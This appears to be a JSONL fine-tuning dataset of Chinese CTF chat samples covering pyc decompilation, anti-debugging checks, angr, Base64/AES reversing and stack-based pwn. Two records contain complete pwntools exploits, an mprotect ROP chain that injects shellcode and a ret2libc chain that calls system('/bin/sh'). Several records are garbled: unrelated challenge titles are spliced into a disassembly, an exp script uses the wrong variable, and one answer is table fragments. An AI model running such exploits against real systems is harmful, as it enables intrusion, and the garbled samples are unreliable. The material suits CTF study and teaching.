{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e70ee8b7a812a491469", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“逆向工具”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. 通过工具反编译 pyc 文件，拿到源码\n2. uncompyle6\n3. 在解压缩后的目录下，存在`原文件名.pyc`文件，即我们的目标文件`test.pyc`\n4. 对于 python3.9版本以下（不含3.9）\n5. 使用uncompyle6工具\n6. uncompyle6.exe .\\\\test.exe_extracted\\\\test.pyc > test.py", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::eecd302dd7b8401f", "original_line": 720, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "逆向工具", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "eecd302dd7b8401f", "source_split": "train", "split": "train", "split_group_key": "04981b81054e0e1e4d64172d", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e9014ebf76c369a2c12", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. | `EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl)`                                                             | 初始化消息摘要上下文。\n2. | `EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *data, size_t count)`                                                                | 更新消息摘要上下文。\n3. | `EVP_DigestFinal_ex(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s)`                                                          | 完成消息摘要计算。\n4. | `EVP_PKEY_new()`                                                                                                                   | 创建一个新的 EVP_PKEY 对象。\n5. | `EVP_PKEY_free(EVP_PKEY *pkey)`                                                                                                    | 释放 EVP_PKEY 对象。\n6. | `EVP_PKEY_assign_RSA(EVP_PKEY *pkey, RSA *rsa)`                                                                                    | 将 RSA 密钥分配给 EVP_PKEY 对象。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c363956bdeb686aa", "original_line": 936, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c363956bdeb686aa", "source_split": "train", "split": "train", "split_group_key": "d1ce6d8e77eb8bc4995b5ff2", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0ed86bf6cbc5d2799e7e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“符号执行原理”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 符号执行原理\n关键词：Symbolic、Execution、从而帮助发现漏洞、检测潜在的错误和漏洞\n蒸馏要点：\n- 定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。\n- 核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。\n- 什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。\n- 符号执行的三个关键点：\n- 符号执行的关键在于：\n- 符号化输入：将程序的输入替换为符号变量。\n- 路径探索：模拟程序的执行过程，探索程序的所有可能路径，特别是在条件分支处，符号执行会分别生成两个路径来代表条件为真和条件为假的情况。\n可用于训练的标准回答：\n### 符号执行原理\n\n定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。\n\n核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。\n\n什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。\n\n符号执行的三个关键点：\n\n- 变量符号化；\n- 程序执行模拟；\n- 约束求解。\n\n符号执行的关键在于：\n\n- 符号化输入：将程序的输入替换为符号变量。\n- 路径探索：模拟程序的执行过程，探索程序的所有可能路径，特别是在条件分支处，符号执行会分别生成两个路径来代表条件为真和条件为假的情况。\n- 路径约束：每一条路径都会产生一个路径约束，路径约束是关于符号变量的数学公式，表示这条路径的条件。\n- 约束求解：符号执行生成的路径条件可以通过约束求解器（例如 Z3）来求解，求解器可以找到满足这些条件的符号变量具体值，从而推导出实际输入。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ebf9e2137d75c23a", "original_line": 630, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "符号执行原理", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ebf9e2137d75c23a", "source_split": "train", "split": "train", "split_group_key": "0d70d996bc492db33bf4f8d4", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0f56eb8270252447db46", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“检测进程运行状态”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / 检测进程运行状态\n关键词：TracerPid、status、line、/proc/self/status、proc、self、include、is_debugged、FILE、fclose\n蒸馏要点：\n- Linux 在`/proc/self/status`中保存了进程的状态信息。通过检查`TracerPid`字段，可以判断当前进程是否被调试器控制。如果`TracerPid`不为0，则说明该进程正在被调试。\n可用于训练的标准回答：\n### 检测进程运行状态\n\nLinux 在`/proc/self/status`中保存了进程的状态信息。通过检查`TracerPid`字段，可以判断当前进程是否被调试器控制。如果`TracerPid`不为0，则说明该进程正在被调试。\n\n```c\n#include\n#include\n\nint is_debugged() {\n\t//打开一个文件，该文件包含当前进程的状态信息\n    FILE *status = fopen(\"/proc/self/status\", \"r\");\n    //如果文件打开失败，则未检测到调试器\n    if (status == NULL) return 0;\n\n\t//读取文件内容\n    char line[256];\n    while (fgets(line, sizeof(line), status)) {\n\t    //查找TracerPid行\n        if (strncmp(line, \"TracerPid:\", 10) == 0) {\n            fclose(status);\n            //检查TracerPid的值\n            //获取TracerPid后面的数字部分，并检查它是否大于0.\n            //如果大于0则表示有进程在跟踪当前进程\n            return atoi(line + 10) > 0;\n        }\n    }\n    fclose(status);\n    return 0;\n}\n\nint main() {\n    if (is_debugged()) {\n        printf(\"Debugger\\n\");\n    } else {\n        printf(\"No debugger\\n\");\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::95f8b256d49f5a02", "original_line": 675, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "检测进程运行状态", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "95f8b256d49f5a02", "source_split": "train", "split": "train", "split_group_key": "cb39d31e757757a76f6e8d13", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1199001e809ca9a9fb23", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“while 循环”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / while 循环\n关键词：LOAD_CONST、DASCTF、长度的字段，减去6。\n\n这里、字段是用小端序存储的，所以我们需要改为、co_code、STORE_NAME、LOAD_NAME、COMPARE_OP、VNCTF2022、while\n蒸馏要点：\n- print(code.co_code[:6].hex()) #710471067102\n可用于训练的标准回答：\n#### while 循环\n\n```\n1：\n0 LOAD_CONST               0 (0)\n2 STORE_NAME               0 (i)\n\n2：\n4 LOAD_NAME                0 (i)\n6 LOAD_CONST               1 (10)\n8 COMPARE_OP               0 (2024极客大挑战 奇怪的RC4\n\n>2024极客大挑战 好像是python?\n\n>[羊城杯 2020]Bytecode\n\n>DASCTF 2020 pycode\n\n>DASCTF ezpython\n\n>VNCTF2022 BabyMaze\n\n第一条指令会跳转到 4，然后 4 会跳转到 2，之后 2 又会跳转到 6，最后从 6 开始正常执行。\n\n所以可以判断这是花指令\n\n定位花指令：\n\n```python\nprint(code.co_code[:6].hex()) #710471067102\n```\n\n我们知道一条指令是两个字节，这里我们前三条指令是花指令，所以就是前 6 个字节。\n\n我们通过 010 删除这几个字节，但是我们不仅需要删除这几个字节，还需要修改前面记录`co_code`长度的字段，减去6。\n\n这里`co_code`字段是用小端序存储的，所以我们需要改为`E8 07`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::006faeba5098f1e3", "original_line": 863, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "while 循环", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "006faeba5098f1e3", "source_split": "train", "split": "train", "split_group_key": "e98853e999643a8639454f9d", "tags": ["reverse", "crypto", "ctf-method"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-125f14f65fc6f81dce8c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Base64》的“常规”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Base64 / 常规\n关键词：sub_4110be、str、printf、scanf、strncmp、str2、base64、flag、main_0、sub_411375\n蒸馏要点：\n- BUUCTF-reverse3\n- 拿到程序查壳，发现无壳\n- 之后运行一下，随意输入一串字符。\n- 判定代码逻辑为字符串比较。\n- ida 打开分析一下，发现主函数中只调用了一个`main_0`函数\n- 先将函数和变量改一下名，提高代码可读性。\n- `·sub_41132f`用于显示字符串，判断为`printf`。利用快捷键 n 改名为`printf`。\n可用于训练的标准回答：\n### 常规\n\n>BUUCTF-reverse3\n\n拿到程序查壳，发现无壳\n\n之后运行一下，随意输入一串字符。\n\n判定代码逻辑为字符串比较。\n\nida 打开分析一下，发现主函数中只调用了一个`main_0`函数\n\n进入查看\n\n先将函数和变量改一下名，提高代码可读性。\n\n`·sub_41132f`用于显示字符串，判断为`printf`。利用快捷键 n 改名为`printf`。\n\n`sub_411375`根据其后参数判定为`scanf`，用于向`str`数组输入最多20个字符。\n将其函数改为`scanf`，将`str`数组名改为`input`。\n`j_strlen`函数判断为获取字符串长度的函数`strlen`，将获取结果的变量`v3`改为`input_length`便于阅读。\n\n可以看到函数`sub_4110be`对我们输入的数据进行了处理\n无法判断函数`sub_4110be`的功能，所以进入查看。\n\n发现调用了一个函数，继续进入查看\n\n分析主要代码逻辑\n\n进行了很多移位拼接操作，很明显的 base64 加密\n\n更简单的方法是打开字符串窗口查看一下\n\n发现 base64 编码表字符串，判断为 base64 加密\n\n所以`sub_4110be`为加密函数，变量`v4`为返回的密文。\n\n根据逻辑重命名一下\n\n接下来继续分析\n\n`strncmp`函数将密文复制 0x28 个字节到`destination`中\n\n接下来计算密文长度\n\n然后对密文做了移位运算\n\n然后获取运算后的密文长度\n\n通过`strncmp`函数对密文和`str2`变量比较密文长短的内容\n\n如果相等则输入 flag 正确\n\n所以`str2`就是加密后的密文\n\n我们通过密文和加密逻辑逆向构造exp。\n\n- exp\n\n```python\nimport base64\n\n#密文\ns=\"e3nifIH9b_C@n@dH\"\nflag=\"\"\n\nfor i in range(len(str)):\n    flag+=chr(ord(str[i])-i)\n\nprint(base64.b64decode(flag))\n#[FLAG_PREFIX]i...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bc068da333542674", "original_line": 759, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "常规", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bc068da333542674", "source_split": "train", "split": "train", "split_group_key": "25178263c663f2086fd54094", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1266f1f59a6088cb52b9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“CheckRemoteDebuggerPresent”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“CheckRemoteDebuggerPresent”。\n语言/类型：c\n关联知识点：\n- `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。\n- 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。\n代码片段：\n```c\nBOOL CheckRemoteDebuggerPresent{\n    HANDLE hProcess,\n    PBOOL pbDebuggerPresent\n};\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a73779c50118b0c3", "original_line": 831, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "CheckRemoteDebuggerPresent", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a73779c50118b0c3", "source_split": "train", "split": "train", "split_group_key": "e96f49e9666bf26fcf0ca178", "tags": ["reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-137130107c346914a876", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“getstarted3dsctf2016”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“getstarted3dsctf2016”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\n\npwnfile=\"./get_started_3dsctf_2016\"\nio=process(pwnfile)\nelf=ELF(pwnfile)\ncontext(log_level=\"debug\",arch=\"i386\")\n\nmprotect_addr=elf.symbols[\"mprotect\"]\nread=elf.symbols[\"read\"]\nmem_addr=0x080Ea000\nmem_size=0x1000\nmem_proc=0x7\n\n#pop ebp; pop esi; pop edi; ret\npop_addr=0x0809e4c5\n\npayload=b\"a\"*0x38+p32(mprotect_addr)\npayload+=p32(pop_addr)\npayload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)\n\npayload+=p32(read)\npayload+=p32(pop_addr)\npayload+=p32(0)+p32(mem_addr)+p32(0x100)\npayload+=p32(mem_addr)\n\nio.sendline(payload)\n\n#pwntools生成shellcode\npay=asm(shellcraft.sh())\n#也可以手写编码\n#pay=\"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\nio.sendline(pay)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::f55ac3b979c578cf", "original_line": 36, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "getstarted3dsctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "f55ac3b979c578cf", "source_split": "test", "split": "train", "split_group_key": "b29a0fbd826705eee5f832a5", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-13973c08a4a0fcdf17c6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“NtQueryInformationProcess”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“NtQueryInformationProcess”。\n语言/类型：c\n关联知识点：\n- dll`中一个 API，它用来提取一个给定进程的信息。\n代码片段：\n```c\nNTSTATUS NtQueryInformationProcess(\n  HANDLE ProcessHandle,\n  PROCESSINFOCLASS ProcessInformationClass,\n  PVOID ProcessInformation,\n  ULONG ProcessInformationLength,\n  PULONG ReturnLength\n);\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::11d15f8c271e6da3", "original_line": 665, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "NtQueryInformationProcess", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "11d15f8c271e6da3", "source_split": "train", "split": "train", "split_group_key": "53de9613c0c886095e716f11", "tags": ["reverse", "ctf-method"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-14accb2cf0ed60a3d8bc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SWPUCTF 2023 秋季新生赛]ezlibc”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]ezlibc”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.31.so\")\ncontext.arch=\"i386\"\n\noff=20\nmain=elf.sym.main\nputs_plt=elf.plt.write\nputs_got=elf.got.write\n\npayload=b'a'*off+p32(puts_plt)+p32(main)+p32(1)+p32(puts_got)+p32(8)\ns(payload)\nru(b'byebye')\nwrite=u32(r(4))\nbase=write-libc.sym.write\n\nsys=libc.sym.system+base\nsh=0x0018b363+base\n\npay=b'a'*off+p32(sys)+p32(0)+p32(sh)\ns(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::7d5add10dac737df", "original_line": 110, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SWPUCTF 2023 秋季新生赛]ezlibc", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "7d5add10dac737df", "source_split": "validation", "split": "train", "split_group_key": "0ede9052d70e9b805a3c889f", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-150be9daeaa5feb860a5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“魔改”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：AES / 魔改\n关键词：sSycloversyclov、AES、sub_140001ED4、sub_140001C99、sub_140001408、byte_14000C000、if、https、github、com\n蒸馏要点：\n- 字节代换的时候使用逆 S 盒进行代换\n- 对行位移进行魔改，状态矩阵的第 0 行左移 0 字节，第一行左移 1 字节，第二行左移 2 字节，第三行左移 3 字节，每一行的元素左移的字节数是可以更改的。\n- 对列混合进行魔改，虽然可以，但是一般不会有人这样做，状态矩阵与固定的矩阵相乘得到混淆后的状态矩阵，如果这个固定矩阵被更改，那么求逆的时候要重新计算另外一个矩阵。\n- 对中间轮数的加密顺序进行更改\n- 对于魔改 AES 我们可以编译一份标准 AES 加密的代码对照着分析。\n- AES 实现代码：https://github.com/kokke/tiny-AES-c.git\n- 例题 2024 极客大挑战 Aes！\n可用于训练的标准回答：\n## 魔改\n\n- 字节代换的时候使用逆 S 盒进行代换\n- 对行位移进行魔改，状态矩阵的第 0 行左移 0 字节，第一行左移 1 字节，第二行左移 2 字节，第三行左移 3 字节，每一行的元素左移的字节数是可以更改的。\n- 对列混合进行魔改，虽然可以，但是一般不会有人这样做，状态矩阵与固定的矩阵相乘得到混淆后的状态矩阵，如果这个固定矩阵被更改，那么求逆的时候要重新计算另外一个矩阵。\n- 对中间轮数的加密顺序进行更改\n\n对于魔改 AES 我们可以编译一份标准 AES 加密的代码对照着分析。\n\n>AES 实现代码：https://github.com/kokke/tiny-AES-c.git\n\n>例题 2024 极客大挑战 Aes！\n\n分组加密对任意长度加密一般首先要进行分组填充\n\n- 分析\n\n反编译程序，根据经验修一下代码重命名函数。\n\n修理后的结果：\n\n跟进`sub_140001ED4`函数，发现是一个长度校验函数，要求长度为 32。下面的`if`就是校验失败后退出的逻辑。\n\n下面分析重点部分：\n\n跟进分析`sub_140001C99`函数，首先校验`sSycloversyclov`是否等于 16及其倍数。这里\n\n这里`sSycloversyclov`应该就是密钥\n\n再跟进分析`sub_140001408`函数，发现这是一个对密钥进行扩展的函数。\n\n其中`byte_14000C000`应该就是 S 盒，查看发现是非标准 S 盒。\n\n猜测对 S 盒进行了魔改，将密文以魔改的 S 盒进行解密，套板子。\n\n密文就是循环校验的全局变量：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "web", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a14e6ee49e4278d8", "original_line": 995, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "魔改", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a14e6ee49e4278d8", "source_split": "train", "split": "train", "split_group_key": "c74985bef4feb0ed6ccbaaae", "tags": ["crypto", "web"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-15190c0bcfdbd2f66b78", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“pwnableorw”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 几乎没有保护，所以我们可以尝试shellcode。\n2. 程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。\n3. 我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。\n4. 这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。\n5. 而考察orw的题目一般都是沙箱题目。\n6. 我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8b521cb73cf606fe", "original_line": 867, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "pwnableorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8b521cb73cf606fe", "source_split": "train", "split": "train", "split_group_key": "f506d0edb6cfb5899fc9a4f5", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
